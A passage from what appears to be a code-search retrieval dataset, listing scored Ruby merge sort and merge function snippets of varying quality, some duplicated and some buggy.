: right.shift)\n end\n sorted + left + right\nend", "title": "" }, { "docid": "f9931cb96a838460fa747166628504f6", "score": "0.7514888", "text": "def merge_sort(arr, left, right)\n if left < right\n mid = ((left + right)/ 2).floor\n merge_sort(arr, left, mid)\n merge_sort(arr, mid + 1, right)\n\n merge(arr, left, mid, right)\n end\n end", "title": "" }, { "docid": "9b7569d2e716a1a4a9c5a38ff42c832f", "score": "0.74958795", "text": "def merge_sort\n return self if size <= 1\n pieces = split_for_merge_sort # => [left half, right half which may be one item larger]\n left = pieces[0].merge_sort\n right = pieces[1].merge_sort\n result = left.join_for_merge_sort(right)\n end", "title": "" }, { "docid": "0842c0efae45356aebeb52cc255235ed", "score": "0.74905485", "text": "def merge(left, right)\n sorted = []\n until left.empty? || right.empty?\n if left[0] < right[0]\n sorted << left.shift\n else\n sorted << right.shift\n end\n end\n sorted + left + right\nend", "title": "" }, { "docid": "cb2813f88893a0383cc5d119b5adcd7c", "score": "0.74672204", "text": "def merge_sort(list) #spliting part\n\treturn list if list.length <= 1 #check if list is already sorted\n\n\tmid = (list.length / 2).floor #set a mid point for array, round the number down if array size is odd\n\tleft = merge_sort(list[0..mid - 1]) #split left array to single number array recursiely without the mid point\n\tright = merge_sort(list[mid..list.length]) #split right array to single number array recursiely with the mid point\n\tmerge(left, right) #merging recursiely\nend", "title": "" }, { "docid": "ed105dfcd2a6c187a49b97fca6578365", "score": "0.7455079", "text": "def merge(left_half,right_half)\n result = [] #array that the 2 halves get sorted into\n while !left_half.empty? && !right_half.empty? \n if left_half[0] < right_half[0] #if the first item in the left half is larger:\n result << left_half.shift() #append it to the result array\n else\n result << right_half.shift() #otherwise stick the first item in the right half in there.\n end\n end\n #if there's anything left in the left array, stick it into the result since it's already sorted\n while !left_half.empty?\n result << left_half.shift()\n end\n #if there's anything left in the right array, stick it into the result since it's already sorted\n while !right_half.empty?\n result << right_half.shift()\n end\n #this gets returned to the above merge and gets sorted with the other resulting halves\n result\nend", "title": "" }, { "docid": "23ddabc3c7c52f62eb745a7cd989baf1", "score": "0.7447051", "text": "def merge_sort(list)\n if list.length <= 1\n list\n else\n mid = (list.length / 2).floor\n left = merge_sort(list[0..mid - 1])\n right = merge_sort(list[mid..list.length])\n merge(left, right)\n end\nend", "title": "" }, { "docid": "1e9208ce5e11d5f581ef182d83ad0dc3", "score": "0.74442196", "text": "def merge_sort array\n left, right = halve(array)\n\n sorted = []\n\n left.each do |l|\n right.each do |r|\n if l < r\n sorted << l\n else\n sorted << r\n end\n end\n end\n sorted\nend", "title": "" }, { "docid": "75893989d59974c64ed9101104533064", "score": "0.7442252", "text": "def merge(left, right) \n sorted = []\n until left.empty? || right.empty?\n if left.first <= right.first\n sorted << left.shift\n else\n sorted << right.shift\n end \n end \n sorted.concat(left).concat(right)\nend", "title": "" }, { "docid": "0842413694f59ee2fe78e1eea2054487", "score": "0.7439067", "text": "def merge_sort(arr)\n midpoint = arr.length / 2\n return arr if arr.length == 1\n\n first_half = arr[0..(midpoint-1)]\n second_half = arr[midpoint..-1]\n\n merge(merge_sort(first_half), merge_sort(second_half))\nend", "title": "" }, { "docid": "c9dbce6dd26a0eddcde3b9664bf951f4", "score": "0.7414872", "text": "def merge_sort_rec(list)\n return list if list.size <= 1\n half = list.size / 2\n\n merge_rec(merge_sort_rec(list[0..(half - 1)]), merge_sort_rec(list[half..-1]))\nend", "title": "" }, { "docid": "cbe0b8150deddba09738112dae9e8eaa", "score": "0.7396954", "text": "def merge_sort(list)\n list_len = list.length\n if list_len <= 1\n list\n else\n mid = (list_len / 2).floor\n merge(merge_sort(list[0..mid - 1]), merge_sort(list[mid..list_len]))\n end\nend", "title": "" }, { "docid": "c7521153fb8aa62e2488e185f0904b4b", "score": "0.739689", "text": "def merge_sort2(arr)\n\treturn arr if arr.length < 2\n\tleft = arr.slice(0...arr.length/2)\n\tright = arr.slice(arr.length/2..arr.length)\n\tprint merge_sort2(left)\n\tprint merge_sort2(right)\n\t#merge(merge_sort(left),merge_sort(right),arr)\nend", "title": "" }, { "docid": "cbc9a5d4d42c89742b503f6df48c5566", "score": "0.73946023", "text": "def merge(left, right)\n sorted = []\n until left.empty? or right.empty?\n if left.first <= right.first\n sorted << left.shift\n else\n sorted << right.shift\n end\n end\n sorted.concat(left).concat(right)\nend", "title": "" }, { "docid": "65368add482c0d3f8370acf98c92d25f", "score": "0.7392128", "text": "def mergesort(list)\n if list.length <= 1\n list\n end\n\n mid = list.length/2\n\n merge(mergesort(list[0,mid]),\n mergesort(list[mid, list.length]))\n\nend", "title": "" }, { "docid": "65368add482c0d3f8370acf98c92d25f", "score": "0.7392128", "text": "def mergesort(list)\n if list.length <= 1\n list\n end\n\n mid = list.length/2\n\n merge(mergesort(list[0,mid]),\n mergesort(list[mid, list.length]))\n\nend", "title": "" }, { "docid": "8ffef678d151966b7a116ee9630fa734", "score": "0.7378884", "text": "def merge(left, right)\n sorted = []\n while !left.empty? && !right.empty?\n if left.first[0] < right.first[0] || right.empty?\n sorted.push(left.shift)\n elsif right.first[0] <= left.first[0] || left.empty?\n sorted.push(right.shift)\n end\n end\n right.each {|el| sorted.push(el)} if !right.empty?\n left.each {|el| sorted.push(el)} if !left.empty?\n sorted\nend", "title": "" }, { "docid": "f89480177f272c525697a71f9dfd762e", "score": "0.73782426", "text": "def merge_sort(list)\n if list.length <= 1\n list\n else\n mid = (list.length / 2).floor\n left = merge_sort(list[0..mid -1])\n right = merge_sort(list[mid..list.length])\n merge(left,right)\n end\n\nend", "title": "" }, { "docid": "d23bf16b6e74e79afd2a58f71eb833f6", "score": "0.7353421", "text": "def merge_sort(arr)\n return arr if arr.length < 2\n\n h = arr.length / 2\n left_half = arr.slice(0, h)\n right_half = arr.slice(h, arr.length)\n merged_arr = (merge_sort(left_half).concat(merge_sort(right_half))).sort\nend", "title": "" }, { "docid": "a50df0e29e0eb1758914bf156fd63f1c", "score": "0.7318993", "text": "def merge_sort_2(array)\n\treturn array if array.length <= 1\n\n\tleft = merge_sort_2(array[0...array.size/2])\n\tright = merge_sort_2(array[(array.size/2)...array.size])\n\t\n\tnew_array = []\n\n\tuntil left.empty? || right.empty?\n\t\tif left[0] < right[0]\n\t\t\t new_array << left.shift\n\t\telse\n\t\t new_array << right.shift\n\t\tend \t \n end\n left.length > 0 ? (new_array << left) : (new_array << right)\t \n\n\tnew_array.flatten\nend", "title": "" }, { "docid": "3e56c3dd0fb8f683ce9be8af8b83852f", "score": "0.7309367", "text": "def merge_sort(array)\n return array if array.count < 2\n left, right = array.take(array.count / 2), array.drop(array.count / 2)\n l, r = merge_sort(left), merge_sort(right)\n merged = []\n until l.empty? || r.empty?\n l.first < r.first ? merged << l.shift : merged << r.shift\n end\n merged + l + r\nend", "title": "" }, { "docid": "09c5f0c51e8f83c5802eb0cb25572a11", "score": "0.7284921", "text": "def merge_sort\n return self if length <= 1\n middle = (length / 2).floor\n left = self[0..middle - 1].merge_sort\n right = self[middle..length].merge_sort\n merge left, right\n end", "title": "" }, { "docid": "6135c83ec3d93c2e4ffea8e081374c76", "score": "0.7248001", "text": "def merge_sort(left, right)\n if left.empty? # If left side is empty, return the value of the right\n right\n elsif right.empty?\n left\n elsif left.first < right.first\n # Keep performing merge sort on the rest of the left and right arrays\n [left.first] + merge_sort(left[1..left.length], right)\n else\n [right.first] + merge_sort(left, right[1..right.length])\n end\nend", "title": "" }, { "docid": "502e82f0e7dd5714f85b47d63c57c2e0", "score": "0.72418666", "text": "def merge_sort2(arr)\n return arr if arr.length < 2\n\n midway = (arr.length / 2).floor\n #split array into two halves\n first_half = merge_sort2(arr[0..midway-1])\n second_half = merge_sort2(arr[midway..arr.length])\n merge(first_half,second_half)\nend", "title": "" }, { "docid": "9b9ed8320b9530ec85602456a7fcd8eb", "score": "0.7235566", "text": "def merge_sort arr\n if arr.length <= 1\n arr\n else\n mid = arr.length/2\n left_half = arr.slice(0...mid)\n right_half = arr.slice(mid...arr.length)\n merge merge_sort(left_half), merge_sort(right_half)\n end\nend", "title": "" }, { "docid": "cf967d57135e68e8dfa4a93bc5f52370", "score": "0.72304386", "text": "def merge_sort(arr)\n return arr if arr.length < 2\n length = arr.length\n middle = length / 2\n left_half = arr.slice(0, middle)\n right_half = arr.slice(middle, length - middle)\n left_half = merge_sort(left_half)\n right_half = merge_sort(right_half)\n\n arr = merge(left_half, right_half)\nend", "title": "" }, { "docid": "d6be5d6ed1eed06fdc2c0c05290de2b6", "score": "0.7229969", "text": "def merge_sort(ary)\n return ary if ary.length < 2 \n new_ary = []\n \n left = ary[0..(ary.length/2-1)]\n right = ary[(ary.length/2)..-1]\n \n left = merge_sort(left)\n right = merge_sort(right)\n \n while (!left.empty?) || (!right.empty?)\n if left.empty?\n new_ary.push right.shift\n elsif right.empty?\n new_ary.push left.shift\n else\n left[0] < right[0] ? (new_ary.push left.shift) : new_ary.push(right.shift)\n end\n end\n new_ary\n\nend", "title": "" }, { "docid": "4d535d882058fc4bf70622eab8476f84", "score": "0.7229461", "text": "def merge_sort(array)\n # already sorted\n return array if array.count < 2\n\n middle = array.count / 2\n left, right = array.take(middle), array.drop(middle)\n\n sorted_left, sorted_right = merge_sort(left), merge_sort(right)\n\n merge(sorted_left, sorted_right)\nend", "title": "" }, { "docid": "73b8353995f5c005975322fe89443744", "score": "0.72247714", "text": "def merge_sort(arr)\r\n return if arr.length <= 1\r\n # split array to two\r\n left,right = arr.each_slice((arr.length/2.0).round).to_a\r\n \r\n # sort the two halves\r\n merge_sort(left)\r\n merge_sort(right)\r\n \r\n # merge the sorted halves\r\n l = r = 0\r\n for i in 0..arr.length-1\r\n if (l < left.length && (\r\n r >= right.length || \r\n left[l] < right[r]\r\n ))\r\n arr[i] = left[l]\r\n l = l + 1\r\n else\r\n arr[i] = right[r]\r\n r = r + 1\r\n end\r\n end\r\nend", "title": "" }, { "docid": "1c3a400a66c668f8836d35368edec40f", "score": "0.7221796", "text": "def merge_sort(left, right)\n # Initialize array to hold sorted values.\n sorted = []\n\n # Shift lesser value to sorted array while left/right are not empty.\n while !(left.empty?) || !(right.empty?)\n if !(left.empty?) && !(right.empty?)\n if left[0] <= right[0]\n sorted << left.shift\n else\n sorted << right.shift\n end\n\n # If only left is not empty, shift left.\n elsif !(left.empty?)\n sorted << left.shift until left.empty?\n\n # If only right is not empty, shift right.\n elsif !(right.empty?)\n sorted << right.shift until right.empty?\n end\n end\n # Return sorted array.\n return sorted\n end", "title": "" }, { "docid": "a5b75e8a3195a71182cf9b26aada46b4", "score": "0.7219494", "text": "def merging(left=[], right=[], sorted=[])\n\ti_left = 0\n\ti_right = 0\n\ti_sorted = 0\n\twhile (i_left < left.length) && (i_right < right.length)\n\t\tif left[i_left] < right[i_right]\n\t\t\tsorted << left[i_left]\n\t\t\ti_left +=1\n\t\telse\n\t\t\tsorted << right[i_right]\n\t\t\ti_right += 1\n\t\tend\n\t\ti_sorted += 1\n\tend\n\tif i_left == left.length\n\t\twhile i_right < right.length\n\t\t\tsorted << right[i_right]\n\t\t\ti_right += 1\n\t\tend\n\telsif i_right == right.length\n\t\twhile i_left < left.length\n\t\t\tsorted << left[i_left]\n\t\t\ti_left += 1\n\t\tend\n\tend\n\tsorted\nend", "title": "" }, { "docid": "74f6cf5d4234c84a9b040bee4bc1cb31", "score": "0.72043097", "text": "def merge_sort(arr)\n if arr.length <= 1\n return arr\n end\n\n middle = (arr.length / 2).round\n left = arr.slice(0, middle)\n right = arr.slice(middle, arr.length)\n\n return merge(merge_sort(left), merge_sort(right))\nend", "title": "" }, { "docid": "a25f1481c97955c30d3b2f79eaf076d7", "score": "0.72021425", "text": "def merge_sort(arr)\n return arr if arr.size < 2\n\n midpoint = arr.size / 2\n left = arr.take(midpoint)\n right = arr.drop(midpoint)\n\n merge(merge_sort(left), merge_sort(right))\nend", "title": "" }, { "docid": "b528c1cda440853cd6cda9f61415b686", "score": "0.71652704", "text": "def merge_sort(arr)\n\tl = arr.length\n\n\treturn arr if l <= 1\n\n\tleft = merge_sort(arr.take(l/2))\n\tright = merge_sort(arr.drop(l/2))\n\n\treturn merge(left, right)\nend", "title": "" }, { "docid": "b33c8e6985d5e814f78cbbe667c3cf98", "score": "0.7161345", "text": "def merge(left, right)\n #set your counters\n i, j = 0, 0\n #create an array to store sorted values within\n merged_list = []\n\n length_left_side, length_right_side = left.length, right.length\n\n while i < length_left_side || j < length_right_side\n if i < length_left_side && j < length_right_side\n if left[i] <= right[j]\n merged_list << left[i]\n i += 1\n else\n merged_list << right[j]\n j += 1\n end \n elsif i < length_left_side\n merged_list << left[i]\n i += 1\n elsif j < length_right_side\n merged_list << right[j]\n j+= 1\n end\n end\n merged_list\nend", "title": "" }, { "docid": "d47537f4299fe2708caa33ed4b9286b3", "score": "0.7152766", "text": "def merge_sort(array)\n return array if array.length <= 1\n\n half_index = array.length.odd? ? array.length / 2 : (array.length / 2) - 1\n left = array[0..half_index]\n right = array[half_index+1..-1]\n\n \n merge(merge_sort(left), merge_sort(right))\n\nend", "title": "" }, { "docid": "b2d21ac06c72d5861fa55954c1a64cd0", "score": "0.7150927", "text": "def merge_sort (a1, a2, l, r)\n if l < r then\n m = (l + r) / 2\n merge_sort(a1, a2, l, m)\n merge_sort(a1, a2, m + 1, r)\n merge(a1, a2, l, m, r)\n end\nend", "title": "" }, { "docid": "c2f7fc6802a263bbf581865df234bbea", "score": "0.7150182", "text": "def merge_sort(arr)\n return arr if arr.size < 2\n\n left, right = merge_sort(arr.slice(0..(arr.size/2)-1)), merge_sort(arr.slice((arr.size/2)..arr.size))\n\n result = []\n result.push(left.first < right.first ? left.shift : right.shift) while !left.empty? && !right.empty?\n\n result.push(left) unless left.empty?\n result.push(right) unless right.empty?\n result.flatten\nend", "title": "" }, { "docid": "5b87f17a4100434a58044a70fea2d54a", "score": "0.7148539", "text": "def merge_sort(arr)\n return arr if arr.length < 2\n mid = arr.length / 2\n \n left = arr.take(mid)\n right = arr.drop(mid)\n sorted_left = merge_sort(left)\n sorted_right = merge_sort(right)\n merge(sorted_left, sorted_right)\nend", "title": "" }, { "docid": "9eea3b4a0f0192880a5a86de9452a78b", "score": "0.7145619", "text": "def join_for_merge_sort(right)\n return self + right if last <= right.first # I.e., all in left must be <= anything in right.\n result = []\n until empty? || right.empty? do\n if first <= right.first\n result << shift # Easier to read and harmless in this little test, but see \"Shifty\" article, http://bobhutchison.wordpress.com/2006/09/23/rubys-arrayshift-is-shifty/\n else\n result << right.shift\n end\n end\n result + self + right\n end", "title": "" }, { "docid": "4a979835c9fbbf314ac91ea00bb7aab8", "score": "0.71428657", "text": "def merge_sort(numbers)\n\n if numbers.length <= 1 #if the index is less than 1 or equal to 1\n numbers # put the number\n else #but if the index is > 1\n middle = (numbers.length/2)#divide the numbers to split in two\n #when two sides are creates, the left side needs to take in the\n #numbers from the left then go thru them to the end\n #after that, id the right position of each number\n left_side = merge_sort(numbers[0..middle -1])\n right_side = merge_sort(numbers[middle..-1])\n # bring all of the numbers back together\n #create a method for that\n merge(left_side, right_side)\n end\nend", "title": "" }, { "docid": "bde385871084ecdbea630d358c59dcf4", "score": "0.7136738", "text": "def merge(left_sorted, right_sorted)\n if left_sorted.empty?\n right_sorted\n elsif right_sorted.empty?\n left_sorted\n elsif left_sorted.first < right_sorted.first\n [left_sorted.first] + merge(left_sorted[1..left_sorted.length], right_sorted)\n else\n [right_sorted.first] + merge(left_sorted, right_sorted[1..right_sorted.length])\n end\nend", "title": "" }, { "docid": "dffb905e74c55e63a27e6f6d1cd8e8ce", "score": "0.7130931", "text": "def merge_sort(arr) \n n = arr.length/2 \n left_half = arr[0...n].sort \n right_half = arr[n..-1].sort \n left_index = 0 \n right_index = 0\n sorted = []\n loop do\n if left_half[left_index] == nil \n sorted += right_half[right_index..-1]\n break\n elsif right_half[right_index] == nil\n sorted += left_half[left_index..-1]\n break\n elsif left_half[left_index] < right_half[right_index] \n sorted << left_half[left_index]\n left_index += 1\n else\n sorted << right_half[right_index]\n right_index += 1\n end\n end\n sorted\nend", "title": "" }, { "docid": "19e054fd15a5b9620be68df4cb041e94", "score": "0.7124176", "text": "def merge_sort(fish)\n return fish if fish.length == 1\n mid = fish.length / 2\n left, right = fish[0...mid], fish[mid..-1]\n left, right = merge_sort(left), merge_sort(right)\n \n sorted = []\n until left.empty? || right.empty?\n left_fish, right_fish = left.first, right.first\n if left_fish.length < right_fish.length\n sorted << left.shift\n else\n sorted << right.shift\n end\n end\n if left.empty?\n sorted += right\n else\n sorted += left\n end\n sorted\nend", "title": "" }, { "docid": "1fb204931e24cfb81e111af67d82edcd", "score": "0.71231073", "text": "def merge_sort(list)\n #If list length is less than or equal to 1 then go to list.\n if list.length <= 1\n list\n #else we will create three variables\n else\n #declaring our mid as list length divided by two\n mid = (list.length / 2).floor\n #It calls the list array and saying give me the first element[0] go all the way to the middle and subtract 1 from it\n # And bring that value to me\n left = merge_sort(list[0..mid - 1])\n #Then this one does the same except return to me whatever is to the right of the mid value.\n right = merge_sort(list[mid..list.length])\n merge(left, right)\n end\nend", "title": "" }, { "docid": "57692ce5ef376c4615f74884d6110405", "score": "0.71020794", "text": "def two_sorted_a(a, b)\n counter = 0\n until b.empty?\n if b.first > a.last\n a.insert(-1, b.dup)\n b.clear\n else\n a.insert(counter, b.shift) if a[counter] > b.first\n counter += 1\n end\n end\n a.flatten!\nend", "title": "" }, { "docid": "8db6e2e2a00dbe2ca0e1dbbc1e73e215", "score": "0.7095738", "text": "def merge_sort(array)\n return array if array.size < 2\n\n split_index = (array.size / 2.0).floor\n left = array[0...split_index]\n right = array[split_index...array.size]\n\n merge(merge_sort(left), merge_sort(right))\nend", "title": "" }, { "docid": "c9ef5a50b3c283f08adedd39a1cf8729", "score": "0.70915323", "text": "def merge(sorted_left, sorted_right)\n result = []\n\n until sorted_right.empty? || sorted_left.empty?\n if sorted_left.first < sorted_right.first\n result.push(sorted_left.shift)\n else\n result.push(sorted_right.shift)\n end\n end\n result.concat(sorted_left, sorted_right)\nend", "title": "" }, { "docid": "d0093f548c8f286fdac373e9b947ac7a", "score": "0.7090117", "text": "def merge_sort\n return [self] if self.length <= 1\n \n mid = self.length / 2\n left = self[0...mid].merge_sort\n right = self[mid..-1].merge_sort\n sorted = []\n\n until left.empty? || right.empty?\n if left[0] >= right[0]\n sorted << right.shift\n else\n sorted << left.shift\n end\n end\n\n sorted += left\n sorted += right\n\n sorted\n end", "title": "" }, { "docid": "dac5011cc91bd52b62d7d8aabe7b7abe", "score": "0.7085679", "text": "def merge_sort(arr)\n return [] if arr.length == 0\n return arr if arr.length == 1\n middle = arr.length / 2\n left_side = arr[0...middle] # exclude\n right_side = arr[middle..-1]\n merge(merge_sort(left_side), merge_sort(right_side))\nend", "title": "" }, { "docid": "6c8b82d27bb74c5c74d9105ae8c8e580", "score": "0.70797724", "text": "def merge(list1, list2)\n merged = list1.sort + list2.sort\n merged.sort\n return merged\nend", "title": "" }, { "docid": "4293bd01e479ebcde554e60903143400", "score": "0.7078892", "text": "def merge_sort(ary)\n if ary.length < 2\n ary\n else\n middle = ary.length / 2\n left_side = ary[0...middle]\n right_side = ary[middle..ary.length]\n sorted_left = merge_sort(left_side)\n sorted_right = merge_sort(right_side)\n merge_sides(sorted_left, sorted_right)\n end\nend", "title": "" }, { "docid": "c80393356144bee206b3277b53297a63", "score": "0.70760244", "text": "def merge_sort(&prc)\n return self if self.length <= 1\n\n prc ||= Proc.new { |n1,n2| n1<=>n2 } # Default incase no block is passed in\n mid = self.length/2\n left,right = self[0...mid],self[mid..-1]\n\n Array.merge(left.merge_sort(&prc),right.merge_sort(&prc),&prc)\n end", "title": "" }, { "docid": "e0d7582903640e37e12bcb0e31dfea80", "score": "0.70704484", "text": "def merge_sort(ar)\n n = ar.length\n\n mid = n/2\n left_ar = ar[0..mid-1]\n right_ar = ar[mid..n-1]\n\n if ar == nil\n return nil\n end\n if n < 2\n return ar\n end\n\n merge_sort(left_ar) # sort left sub list\n merge_sort(right_ar) # sort right sub list\n merge_ar(left_ar,right_ar,ar) # merge left and right sub-list\n\nend", "title": "" }, { "docid": "379445e794ef558e412b6e12662a3019", "score": "0.7067371", "text": "def fish_merge_sort(fish)\n return fish if fish.length < 2\n mid_idx = fish.length / 2\n left_sorted = fish_merge_sort(fish.take(mid_idx))\n right_sorted = fish_merge_sort(fish.drop(mid_idx))\n help_fish_merge(left_sorted, right_sorted)\nend", "title": "" }, { "docid": "f272efe256ac76c699542e30d8a3eba5", "score": "0.7063311", "text": "def fixed_merge_sort\n return self if size <= 1 # Fix for B\n\n left = self[0, size/2] # Fix...\n right = self[size/2, size - size/2] # for A\n list1 = left.merge_sort\n list2 = right.merge_sort\n result = []\n until list1.empty? || list2.empty? do\n if list1.first < list2.first\n result << list1.first\n list1 = list1[1..-1]\n else\n result << list2.first\n list2 = list2[1..-1]\n end\n end\n return result + list1 + list2\n end", "title": "" }, { "docid": "c28f199ff0df7ddf2de0730dfb9e9779", "score": "0.7059105", "text": "def merge_sort(input_array)\n if input_array.length < 2\n return input_array\n end\n #Stores the left half of the input_array:\n #Takes into account whether the size is even or odd\n left_array = input_array.slice!(0, input_array.length/2.ceil)\n return merge(merge_sort(left_array), merge_sort(input_array))\nend", "title": "" }, { "docid": "a9092133ce8f47e9b11dfbf75df8b675", "score": "0.7058817", "text": "def merge_sort(array, left = 0, right = array.length - 1)\n return [array[left]] if left == right\n\n l_arr = merge_sort(array, left, left + (right - left) / 2)\n r_arr = merge_sort(array, left + (right - left) / 2 + 1, right)\n\n merged_array = []\n merged_array.push(l_arr[0] < r_arr[0] ? l_arr.shift : r_arr.shift) while\n !l_arr.empty? && !r_arr.empty?\n merged_array.push(*l_arr, *r_arr)\nend", "title": "" }, { "docid": "5a2196e3d2576e67dbebe01d04bd9a8b", "score": "0.7057799", "text": "def merge_sort(arr)\n return arr unless arr.size > 1\n mid = arr.size/2\n a, b, sorted = merge_sort(arr[0...mid]), merge_sort(arr[mid..-1]), []\n sorted << (a[0] < b[0] ? a.shift : b.shift) while [a,b].none?(&:empty?)\n sorted + a + b\nend", "title": "" }, { "docid": "35e0f3ad9b91cb02c0a50a3552a5a7fe", "score": "0.70503926", "text": "def merge_sort(array)\n return array if array.length == 0 || array.length == 1\n\n mid = array.length / 2\n first_half = array[0...mid]\n second_half = array[mid..-1]\n merge(merge_sort(first_half), merge_sort(second_half))\nend", "title": "" }, { "docid": "c0683d55578c7bf0e8c47ccc4a4fce64", "score": "0.702719", "text": "def merge_sort(arr)\n return arr if arr.length == 1\n\n mid = arr.length/2\n left = arr.drop(mid)\n right = arr.take(mid)\n\n sorted_left = merge_sort(left)\n sorted_right = merge_sort(right)\n return merge(sorted_left,sorted_right)\nend", "title": "" }, { "docid": "bfe78716913e84d675ac1df05911b0e2", "score": "0.7007366", "text": "def merge_sort(array)\n middle = array.length / 2\n return array if middle < 2\n left, right = array[0...middle], array[middle..-1]\n sorted_left, sorted_right = merge_sort(left), merge_sort(right)\n merge(sorted_left, sorted_right)\nend", "title": "" }, { "docid": "04209d5897e4eee40d6534b926f78f70", "score": "0.69975454", "text": "def merge_sort(arr) # sorts ascending\n return arr if arr.size <=1\n mid_idx = arr.size/2\n left = arr.take(mid_idx)\n right = arr.drop(mid_idx)\n merge(merge_sort(left), merge_sort(right))\nend", "title": "" }, { "docid": "9031a26f170902d438ad2cf4642639d5", "score": "0.6996313", "text": "def merge_sort(arr)\n\n #base case\n if arr.length <= 1\n return arr\n else\n middle_idx = (arr.length - 1) / 2\n lower_half = merge_sort(arr[0..middle_idx])\n upper_half = merge_sort(arr[middle_idx+1..-1])\n end\n\n\n return merge(lower_half, upper_half)\nend", "title": "" }, { "docid": "978506ae244b1292a331d2db696e9a57", "score": "0.6993164", "text": "def merge_sort(array) # 3 times \n return array if array.count <= 1\n mid = array.size / 2 \n\n left, right = array.take(mid), array.drop(mid)\n sorted_left, sorted_right = merge_sort(left), merge_sort(right)\n\n merge(sorted_left, sorted_right)\nend", "title": "" }, { "docid": "bb2c7576ed1009a13ef03ca294e59d14", "score": "0.6990721", "text": "def merge_sort(arr)\n\treturn arr if arr.length <= 1\n\n\tleft = arr.take(arr.length / 2)\n\tright = arr.drop(arr.length / 2)\n\n\tmerge(merge_sort(left), merge_sort(right))\nend", "title": "" }, { "docid": "c944b41079b8515f1c66cbe11a8976f1", "score": "0.69887084", "text": "def merge_sort(arr)\n return nil if arr.length == 0\n return arr if arr.length == 1\n\n mid = arr.length / 2\n left_half = merge_sort(arr[0..mid])\n right_half = merge_sort(arr[mid..-1])\n\n merge(left_half, right_half)\nend", "title": "" }, { "docid": "6f50e0c2eb72860f76824da14fe968fb", "score": "0.69856745", "text": "def mergesort(data, buffer, left, right) # half-open interval\n\treturn if left+1 == right\n\tmid = (left+right)/2\n\tmergesort(data, buffer, left, mid)\n\tmergesort(data, buffer, mid, right)\n\tpos_left = left\n\tpos_right = mid\n\tpos_buffer = left\n\twhile true\n\t\tif data[pos_left] <= data[pos_right]\n\t\t\tbuffer[pos_buffer] = data[pos_left]\n pos_buffer += 1\n pos_left += 1\n if pos_left == mid\n while pos_right != right\n buffer[pos_buffer] = data[pos_right]\n pos_buffer += 1\n pos_right += 1\n\t\t\t\tend\n break\n\t\t\tend\n else\n buffer[pos_buffer] = data[pos_right]\n pos_buffer += 1\n pos_right += 1\n if pos_right == right\n while pos_left != mid\n buffer[pos_buffer] = data[pos_left]\n pos_buffer += 1\n pos_left += 1\n\t\t\t\tend\n break\n\t\t\tend\n\t\tend\n\tend\n\t(left...right).each {|i| data[i] = buffer[i] }\nend", "title": "" }, { "docid": "4089de50bcca2307d8b327b8a99a2e4c", "score": "0.6985209", "text": "def merge_sort(unsorted_arr)\n return unsorted_arr if unsorted_arr.length <= 1\n\n left = merge_sort( unsorted_arr[0..(unsorted_arr.length/2 - 1) ] )\n right = merge_sort( unsorted_arr[(unsorted_arr.length/2)..-1])\n merge(left, right)\nend", "title": "" }, { "docid": "a78ba9c68687d11d999b5b4800f8e7f2", "score": "0.69831556", "text": "def merge_sort(&prc)\n prc ||= Proc.new { |fish1, fish2| fish1.length <=> fish2.length}\n\n return self if length <= 1\n\n mid = length / 2\n\n left = self[0...mid].merge_sort(&prc)\n right = self[mid..-1].merge_sort(&prc)\n\n Array.merge(left, right, &prc)\n end", "title": "" }, { "docid": "e2a39f2d4d2e0f767d56e4a59464acb1", "score": "0.6977852", "text": "def merge_sort(full_arr)\n return [] if full_arr.size == 0\n return full_arr if full_arr.size == 1\n mid_idx = (full_arr.size / 2)\n first_half = full_arr[0...mid_idx]\n second_half = full_arr[mid_idx..-1]\n merge(merge_sort(first_half), merge_sort(second_half))\n end", "title": "" }, { "docid": "5894ebdd4dad81ec505a90ab39e2da4f", "score": "0.69652873", "text": "def merge_sort(unsorted)\n # first divide halves, when array only has one left = done\n if unsorted.length <=1 \n return unsorted\n else\n mid = unsorted.length/2\n half1 = merge_sort(unsorted.slice(0...mid))\n half2 = merge_sort(unsorted.slice(mid...unsorted.length))\n merge(half1, half2)\n end\nend", "title": "" }, { "docid": "427c93f2ea383c95bdfe57eac943cb94", "score": "0.6965139", "text": "def merge_sort(arr) # [3, 2, 1, 4] 2) [3, 2]\n return arr if arr.length <= 1\n\n midpoint = arr.length / 2 # midpoint = 2 2) midpoint = 1\n left = merge_sort(arr.take(midpoint)) # 1) [3, 2] gets merge sorted 2) left = merge_sort([3]) = [3]\n right = merge_sort(arr.drop(midpoint)) # 2) right = merge_sort([2]) = [2]\n\n merged = [] # 2) left = [3] and right = [2]\n\n until left.empty? || right.empty? \n if left.first <= right.first \n merged << left.shift\n elsif left.first > right.first # 2) merged = [2]\n merged << right.shift # 2) right = []\n end\n end\n\n merged + left + right # 2) [2] + [3] + [] returns [2, 3] -- now we go back to stack 1\n # merged = all the stuff that has been shoveled in\n # left = empty \n # right = stuff that doesn't need to be compared bc we already know it's sorted\n # and the stuff in the right is ALWAYS bigger than the stuff in merged \nend", "title": "" }, { "docid": "4c5389d05b23538312b15bada3b5b0b1", "score": "0.69639385", "text": "def merge_sort(&prc)\n return self if length <= 1\n prc ||= Proc.new { |x,y| x.length <=> y.length }\n\n mid = count / 2\n sorted_left = self.take(mid).merge_sort(&prc)\n sorted_right = self.drop(mid).merge_sort(&prc)\n\n result = Array.merge(sorted_left, sorted_right, &prc)\n end", "title": "" }, { "docid": "7f4dba5a4a492be41f6d78eecfa1ad6b", "score": "0.69554925", "text": "def merge(left, right)\n result = []\n\n while (left.size > 0) || (right.size > 0)\n if (left.size > 0) && (right.size > 0)\n if left.first <= right.first\n result << left.shift\n else\n result << right.shift\n end\n elsif left.size > 0\n result << left.shift\n elsif right.size > 0\n result << right.shift\n end\n end\n result\nend", "title": "" }, { "docid": "a2fc2a8320d0042000af14c3fa417e9b", "score": "0.6948825", "text": "def merge_sort(arr)\n return arr if arr.length <= 1\n arr2 = arr.shift(arr.length / 2)\n merge(merge_sort(arr),merge_sort(arr2))\nend", "title": "" }, { "docid": "d245efd4f04859adcfd7dd569ac5a962", "score": "0.6944414", "text": "def sort(arr)\n return arr if arr.length <= 1\n\n middle = (arr.length / 2).round\n left = arr.slice(0, middle)\n right = arr.slice(middle, arr.length)\n\n merge(sort(left), sort(right))\n end", "title": "" }, { "docid": "41ba63ad61655bed4f1d12a81513e705", "score": "0.6940232", "text": "def merge_sort(arr)\n return arr if arr.length < 2\n\n mid = arr.length / 2\n left = arr[0...mid]\n right = arr[mid..-1]\n left_sort = merge_sort(left)\n right_sort = merge_sort(right)\n\n merge(left_sort, right_sort)\nend", "title": "" }, { "docid": "08f6894b092061e534d46919ae28c5de", "score": "0.69240016", "text": "def merge_sort arr\n\n return arr if arr.length == 1\n\n # sort left half of 